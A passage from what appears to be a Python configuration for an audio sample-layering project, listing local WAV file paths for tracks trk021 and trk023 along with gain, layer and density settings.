'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-073.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-053.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-096.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-075.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-020.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-014.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-038.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-069.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-117.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-075.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-088.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-038.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-058.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-081.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-048.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-072.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-097.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-099.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-067.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-000.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-073.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-026.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-007.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-076.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-035.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-061.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-031.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-060.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-017.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-083.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-040.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-032.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-115.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-031.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-117.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/pulsar_synth-027.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-063.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-101.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-009.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-015.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-118.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-038.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-104.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-015.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/swarmy_graincloud-056.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-070.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-097.wav',
'/home/x75/Downloads/freesound/trk021/574227__a-n-rose__female-open-source-democracy-comp/proc/fxgo-123.wav',
],
},
},
# trk023 side / raw
'trk023': {
'raw': {
'gain_max': -6,
'gain_min': -21,
'numlayer': 5,
'density': 0.6,
'files': [
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0158.575750.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0066.918729.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0052.036458.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0032.836438.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0169.978896.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0158.042646.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0055.660187.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0064.473708.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0062.378813.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0035.688833.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0119.352729.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0031.764292.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0042.000229.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0104.866250.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0068.703271.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0137.882250.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0022.821250.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0024.531729.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0032.793250.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0176.124854.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0057.700833.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0169.283708.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0042.044479.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0119.425313.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0072.921854.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0032.537625.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0026.423250.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0019.923271.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0045.049146.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0179.229813.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0178.185875.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0020.461854.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0027.386458.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0070.355937.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0043.059792.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0053.018563.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0058.866271.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0033.829104.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0103.976438.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0048.462854.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0172.827125.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0045.999063.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0022.351437.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0062.119958.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0063.145000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0021.832146.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0102.312438.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0118.627938.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0170.359813.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0158.651542.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0058.334812.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0103.902583.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0062.162312.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0060.132896.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0033.201208.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0020.143271.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0049.260562.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0057.290479.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0161.487021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0104.930229.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0157.978021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0059.506208.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0126.217417.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0025.358333.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0103.555167.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0042.211250.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0037.569146.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0056.184917.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0179.659083.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0064.515896.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0100.634812.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0031.929896.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0169.945021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0166.127479.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0111.615417.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0029.482000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0118.563958.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0142.473646.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0111.549688.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0166.063479.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0146.307646.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0019.613688.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0126.142833.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/trk023-2-voice-3-submix-norm_0020.659938.wav',
],
},
# trk023 main / raw
'proc': {
'gain_max': -15,
'gain_min': -33,
'numlayer': 6,
'density': 0.4,
'files': [
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-050.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-030.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-015.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-049.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-049.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-080.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-048.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-089.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-032.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-015.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-000.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-036.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-077.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-053.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-051.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-086.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-058.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-031.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-081.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-019.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-002.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-068.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-070.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-077.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-012.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-058.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-014.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-061.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-079.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-008.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-010.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-041.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-009.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-048.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-004.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-032.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-090.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-005.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-007.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-040.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-019.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-039.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-034.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-072.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-010.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-066.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-059.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-039.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-008.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-003.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-027.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-021.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-092.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-056.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-072.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-013.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-087.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-061.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-045.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-029.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-067.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-016.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-035.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-039.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-055.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-093.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-074.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-046.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-029.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-056.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-046.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-037.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-028.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-018.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-086.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-083.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-003.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-067.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-042.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-078.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-053.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-001.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-040.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-079.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-006.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-069.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-036.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-008.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-052.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-084.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-004.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-038.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-071.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-075.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-070.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/pulsar_synth-040.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/fxgo-024.wav',
'/media/x75/qif/lib/audio/work/tsx_recur_5/trk023-2-voice-3-submix-norm/proc/swarmy_graincloud-052.wav',
